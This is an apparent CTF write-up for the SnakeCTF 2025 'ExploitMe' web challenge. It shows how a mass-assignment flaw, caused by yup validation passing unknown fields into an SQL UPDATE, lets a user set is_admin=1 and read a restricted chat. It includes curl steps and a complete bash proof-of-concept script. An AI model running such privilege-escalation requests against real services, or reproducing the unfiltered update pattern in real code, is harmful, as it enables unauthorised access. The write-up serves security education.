Tags: yup mass-assignment web 

Rating:

## Introduction

ExploitMe is a web challenge simulating a dating app for hackers. The main vulnerability lies in the API logic, allowing privilege escalation via a **mass assignment flaw**. By exploiting this issue, we can escalate to admin and retrieve the flag from a restricted chat.

### Context Explanation

The application is a **Next.js app** using API routes with SQLite for persistence.
User registration issues a JWT. Profile updates are done through `/api/edit`.
The backend uses `yup` for validation but fails to strip unknown fields. This leads to unsanitized attributes being directly mapped into the SQL `UPDATE` query.

### Directive

The goal is to escalate our account privileges to admin and access restricted data (the flag) in chat room #4.

---

## Solution

### Step 1: Register a new account

```bash
curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"hitcat","email":"[email protected]","password":"Secret123!"}'
```

This returns a valid JWT.

![Register](https://blog.hitc.at/images/snakectf2025/web/exploitme_register.png#center)

---

### Step 2: Complete onboarding

```bash
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}'
```

![Onboarding](https://blog.hitc.at/images/snakectf2025/web/exploitme_onboarding.png#center)

---

### Step 3: Exploit mass assignment in `/api/edit`

The vulnerable code (`edit.js`):

```js
const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);
const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`;
```

Because `yup` was not configured with `stripUnknown: true`, arbitrary fields (e.g. `is_admin`) pass through.

Exploit:

```bash
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}'
```

![Edit](https://blog.hitc.at/images/snakectf2025/web/exploitme_edit.png#center)

---

### Step 4: Abuse admin privilege to report a chat

```bash
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN"
```

![Report](https://blog.hitc.at/images/snakectf2025/web/exploitme_report.png#center)

---

### Step 5: Read restricted messages (flag)

```bash
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'
```

![Flag](https://blog.hitc.at/images/snakectf2025/web/exploitme_readflag.png#center)

---

## POC

```bash
#!/bin/bash

URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org"
USERNAME="hitcat"
EMAIL="[email protected]"
PASSWORD="Secret123!"

# Step 1 : Register and get JWT
echo "[*] Registering user $USERNAME..."
TOKEN=$(curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \
| jq -r .token)

if [ "$TOKEN" = "null" ] || [ -z "$TOKEN" ]; then
echo "[!] Failed to get token during register"
exit 1
fi
echo "[+] Token obtained: $TOKEN"

# Step 2 : Onboarding
echo "[*] Sending onboarding data..."
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}' | jq .

# Step 3 : Admin priv esc via mass assignment
echo "[*] Trying to escalate privileges (is_admin=1)..."
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}' | jq .

# Step 4 : Report match n°4
echo "[*] Reporting match 4..."
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN" | jq .

# Step 5 : Reading match n°4 messages
echo "[*] Reading messages from match 4..."
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'
```

Original writeup (https://blog.hitc.at/posts/ctf/snakectf-2025/exploitme/).